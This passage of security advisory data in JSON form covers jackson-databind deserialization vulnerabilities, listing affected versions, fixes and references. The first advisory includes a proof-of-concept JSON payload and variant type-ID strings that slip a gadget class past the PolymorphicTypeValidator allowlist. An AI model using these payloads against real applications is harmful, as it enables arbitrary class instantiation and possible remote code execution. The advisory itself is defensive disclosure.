"2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.1.3", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-j3rv-43j4-c7qm/GHSA-j3rv-43j4-c7qm.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.21.3", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-j3rv-43j4-c7qm/GHSA-j3rv-43j4-c7qm.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.1.3", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-j3rv-43j4-c7qm/GHSA-j3rv-43j4-c7qm.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3" ] } ], "aliases": [ "CVE-2026-54512" ], "database_specific": { "cwe_ids": [ "CWE-184", "CWE-502" ], "github_reviewed": true, "github_reviewed_at": "2026-06-23T21:21:38Z", "nvd_published_at": "2026-06-23T21:17:02Z", "severity": "HIGH" }, "details": "`jackson-databind`'s `PolymorphicTypeValidator` (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains `\u003c`), `DatabindContext._resolveAndValidateGeneric()` validates **only the raw container class name** (the substring before `\u003c`) against the configured PTV.\n\nIf the container type is approved, the method parses the full canonical type string via `TypeFactory.constructFromCanonical()` and returns the fully parameterized type **without ever validating the nested type arguments** against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.\n\nAn attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example `java.util.ArrayList\u003ccom.evil.Gadget\u003e` when only `java.util.ArrayList` is allow-listed. The container passes the PTV check; `com.evil.Gadget` is loaded via `Class.forName(name, true, loader)`, instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.\n\nThis is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.\n\n\n## Impact\n\n- **Bypass of the PTV allow-list**, including the recommended `BasicPolymorphicTypeValidator` configured with name-prefix allow rules.\n- **Arbitrary class instantiation** of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).\n- **Potential unauthenticated remote code execution** when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,`TemplatesImpl`-style loaders, etc.) is present on the classpath.\n\nApplications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.\n\n\n## Proof of Concept\n\nConfiguration restricting polymorphic deserialization to a single safe container:\n\n```java\nBasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()\n .allowIfSubType(\"java.util.ArrayList\")\n .build();\n\nObjectMapper mapper = JsonMapper.builder()\n .polymorphicTypeValidator(ptv)\n .build();\n```\n\nMalicious payload (`Wrapper.value` is `Object` with `@JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)`):\n\n```json\n{\"value\":[\"java.util.ArrayList\u003ccom.evil.EvilGadget\u003e\",[{\"cmd\":\"calc.exe\"}]]}\n```\n\nOn vulnerable versions, `com.evil.EvilGadget` is instantiated and its `cmd` property is set, despite only `java.util.ArrayList` being allow-listed. On `2.18.8` / `2.21.4` / `3.1.4` the deserialization throws `InvalidTypeIdException` before instantiation.\n\n**Variant payloads** (all bypass an `ArrayList`/`HashMap` allow-list):\n\n| Type ID | Smuggled type position |\n|---|---|\n| `java.util.ArrayList\u003cEvil\u003e` | list element |\n| `java.util.HashMap\u003cEvil,String\u003e` | map key |\n| `java.util.HashMap\u003cString,Evil\u003e` | map value |\n| `java.util.ArrayList\u003cjava.util.ArrayList\u003cEvil\u003e\u003e` | nested element |\n| `java.util.ArrayList\u003cEvil[]\u003e` | array element |\n\n---\n\n## Patches\n\nFixed in **2.18.8**, **2.21.4** and **3.1.4** via the changes for [FasterXML/jackson-databind#5988](https://github.com/FasterXML/jackson-databind/issues/5988), commit `434d6c511`. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for `Object` (wildcard resolution) and `Enum` types.\n\n`PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that.", "id": "GHSA-j3rv-43j4-c7qm", "modified": "2026-09-10T03:50:50.187641487Z", "published": "2026-06-23T21:21:38Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-j3rv-43j4-c7qm" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54512" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/5988" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/434d6c511de7fdd9872f29157aafb6162d12d8d5" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "type": "CVSS_V3" } ], "summary": "jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/10/GHSA-jjjh-jjxp-wpff/GHSA-jjjh-jjxp-wpff.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.4.0-rc1" }, { "fixed": "2.12.7.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.4.0", "2.4.0-rc1", "2.4.0-rc2", "2.4.0-rc3", "2.4.1", "2.4.1.1", "2.4.1.2", "2.4.1.3", "2.4.2", "2.4.3", "2.4.4", "2.4.5", "2.4.5.1", "2.4.6", "2.4.6.1", "2.5.0", "2.5.0-rc1", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.7.1", "2.6.7.2", "2.6.7.3", "2.6.7.4", "2.6.7.5", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.1-1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.7.9.1", "2.7.9.2", "2.7.9.3", "2.7.9.4", "2.7.9.5", "2.7.9.6", "2.7.9.7", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/10/GHSA-jjjh-jjxp-wpff/GHSA-jjjh-jjxp-wpff.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.13.0" }, { "fixed": "2.13.4.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.13.0", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1" ] } ], "aliases": [ "CVE-2022-42003" ], "database_specific": { "cwe_ids": [ "CWE-400", "CWE-502" ], "github_reviewed": true, "github_reviewed_at": "2022-10-04T21:55:46Z", "nvd_published_at": "2022-10-02T05:15:00Z", "severity": "HIGH" }, "details": "In FasterXML jackson-databind 2.4.0-rc1 until 2.12.7.1 and in 2.13.x before 2.13.4.2 resource exhaustion can occur because of a lack of a check in primitive value deserializers to avoid deep wrapper array nesting, when the UNWRAP_SINGLE_VALUE_ARRAYS feature is enabled. This was patched in 2.12.7.1, 2.13.4.2, and 2.14.0.\n\nCommits that introduced vulnerable code are \nhttps://github.com/FasterXML/jackson-databind/commit/d499f2e7bbc5ebd63af11e1f5cf1989fa323aa45, https://github.com/FasterXML/jackson-databind/commit/0e37a39502439ecbaa1a5b5188387c01bf7f7fa1, and https://github.com/FasterXML/jackson-databind/commit/7ba9ac5b87a9d6ac0d2815158ecbeb315ad4dcdc.\n\nFix commits are https://github.com/FasterXML/jackson-databind/commit/cd090979b7ea78c75e4de8a4aed04f7e9fa8deea and https://github.com/FasterXML/jackson-databind/commit/d78d00ee7b5245b93103fef3187f70543d67ca33.\n\nThe `2.13.4.1` release does fix this issue, however it also references a non-existent jackson-bom which causes build failures for gradle users. See https://github.com/FasterXML/jackson-databind/issues/3627#issuecomment-1277957548 for details. This is fixed in `2.13.4.2` which is listed in the advisory metadata so that users are not subjected to unnecessary build failures", "id": "GHSA-jjjh-jjxp-wpff", "modified": "2026-09-10T03:49:49.858752198Z", "published": "2022-10-03T00:00:31Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42003" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/3590" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/3627" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/0e37a39502439ecbaa1a5b5188387c01bf7f7fa1" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/2c4a601c626f7790cad9d3c322d244e182838288" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/7ba9ac5b87a9d6ac0d2815158ecbeb315ad4dcdc" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/cd090979b7ea78c75e4de8a4aed04f7e9fa8deea" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/d499f2e7bbc5ebd63af11e1f5cf1989fa323aa45" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/d78d00ee7b5245b93103fef3187f70543d67ca33" }, { "type": "WEB", "url": "https://www.debian.org/security/2022/dsa-5283" }, { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20221124-0004" }, { "type": "WEB", "url": "https://security.gentoo.org/glsa/202210-21" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2022/11/msg00035.html" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/compare/jackson-databind-2.13.4.1...jackson-databind-2.13.4.2" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commits/jackson-databind-2.4.0-rc1?after=75b97b8519f0d50c62523ad85170d80a197a2c86+174\u0026branch=jackson-databind-2.4.0-rc1\u0026qualified_name=refs%2Ftags%2Fjackson-databind-2.4.0-rc1" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/blob/2.13/release-notes/VERSION-2.x" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=51020" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "Uncontrolled Resource Consumption in Jackson-databind" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/10/GHSA-rgv9-q543-rqg4/GHSA-rgv9-q543-rqg4.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.4.0-rc1" }, { "fixed": "2.12.7.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.4.0", "2.4.0-rc1", "2.4.0-rc2", "2.4.0-rc3", "2.4.1", "2.4.1.1", "2.4.1.2", "2.4.1.3", "2.4.2", "2.4.3", "2.4.4", "2.4.5", "2.4.5.1", "2.4.6", "2.4.6.1", "2.5.0", "2.5.0-rc1", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.7.1", "2.6.7.2", "2.6.7.3", "2.6.7.4", "2.6.7.5", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.1-1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.7.9.1", "2.7.9.2", "2.7.9.3", "2.7.9.4", "2.7.9.5", "2.7.9.6", "2.7.9.7", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/10/GHSA-rgv9-q543-rqg4/GHSA-rgv9-q543-rqg4.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.13.0" }, { "fixed": "2.13.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.13.0", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3" ] } ], "aliases": [ "CVE-2022-42004" ], "database_specific": { "cwe_ids": [ "CWE-400", "CWE-502" ], "github_reviewed": true, "github_reviewed_at": "2022-10-04T21:56:21Z", "nvd_published_at": "2022-10-02T05:15:00Z", "severity": "HIGH" }, "details": "In FasterXML jackson-databind before 2.12.7.1 and in 2.13.x before 2.13.4, resource exhaustion can occur because of a lack of a check in BeanDeserializer._deserializeFromArray to prevent use of deeply nested arrays. This issue can only happen when the `UNWRAP_SINGLE_VALUE_ARRAYS` feature is explicitly enabled.", "id": "GHSA-rgv9-q543-rqg4", "modified": "2026-09-10T03:49:46.655422609Z", "published": "2022-10-03T00:00:31Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42004" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/3582" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/063183589218fec19a9293ed2f17ec53ea80ba88" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/0e37a39502439ecbaa1a5b5188387c01bf7f7fa1" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/35de19e7144c4df8ab178b800ba86e80c3d84252" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/cd090979b7ea78c75e4de8a4aed04f7e9fa8deea" }, { "type": "WEB", "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50490" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2022/11/msg00035.html" }, { "type": "WEB", "url": "https://security.gentoo.org/glsa/202210-21" }, { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20221118-0008" }, { "type": "WEB", "url": "https://www.debian.org/security/2022/dsa-5283" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "Uncontrolled Resource Consumption in FasterXML jackson-databind" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-rmj7-2vxq-3g9f/GHSA-rmj7-2vxq-3g9f.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.10.0" }, { "fixed": "2.18.8" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-rmj7-2vxq-3g9f/GHSA-rmj7-2vxq-3g9f.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-rmj7-2vxq-3g9f/GHSA-rmj7-2vxq-3g9f.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-rmj7-2vxq-3g9f/GHSA-rmj7-2vxq-3g9f.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3" ] } ], "aliases": [ "CVE-2026-54513" ], "database_specific": { "cwe_ids": [ "CWE-184" ], "github_reviewed": true, "github_reviewed_at": "2026-06-23T21:22:15Z", "nvd_published_at": "2026-06-23T21:17:02Z", "severity": "HIGH" }, "details": "## Summary\n`BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray()` allowlists any array type based only on `clazz.isArray()`, without validating the array's component (element) type against the configured allowlist. A PTV built with `allowIfSubTypeIsArray()` plus an explicit concrete-type allowlist therefore still permits `EvilType[]` even though `EvilType` is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.\n\n## Impact\nApplications using `BasicPolymorphicTypeValidator` with `allowIfSubTypeIsArray()` as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.\n\n## Affected / Patched (verified via `git tag --contains`)\n- 2.18 line: `\u003e= 2.10.0, \u003c 2.18.8` -\u003e fixed in **2.18.8**\n- 2.19-2.21 line: `\u003e= 2.19.0, \u003c 2.21.4` -\u003e fixed in **2.21.4**\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4**\n\n`PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that.\n\n## Severity / CWE\nMaintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.\n\n## Upstream fix\nFasterXML/jackson-databind#5981; fix PR #5983 (`24529da`), 2.18 backport PR #5984 (`01d1692`). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.", "id": "GHSA-rmj7-2vxq-3g9f", "modified": "2026-09-11T15:45:08.499771763Z", "published": "2026-06-23T21:22:15Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-rmj7-2vxq-3g9f" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54513" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/5983" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/5981" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/5984" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/24529da29fdf46ff94ca38de9ebf31cd188f5e8e" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/01d1692c8d0ed03e51a0e3c4f8a9e6908e4931e5" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:50849" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:54435" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:54622" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:62260" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:66488" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:66545" }, { "type": "WEB", "url": "https://access.redhat.com/security/cve/CVE-2026-54513" }, { "type": "WEB", "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492010" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54513.json" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:36839" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:40895" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:41951" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:43218" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:43400" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:44061" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:44062" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:44063" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:44064" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:44065" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:44066" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:44271" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:48095" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:48151" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:50846" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:50847" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:50848" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "type": "CVSS_V3" } ], "summary": "jackson-databind has an array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-vvgp-rfg2-7rr6/GHSA-vvgp-rfg2-7rr6.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.0.0" }, { "fixed": "2.18.9" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0.0", "2.0.1", "2.0.2", "2.0.4", "2.0.5", "2.0.6", "2.1.0", "2.1.1", "2.1.2", "2.1.3", "2.1.4", "2.1.5", "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.2.0", "2.2.0-rc1", "2.2.1", "2.2.2", "2.2.3", "2.2.4", "2.3.0", "2.3.0-rc1", "2.3.1", "2.3.2", "2.3.3", "2.3.4", 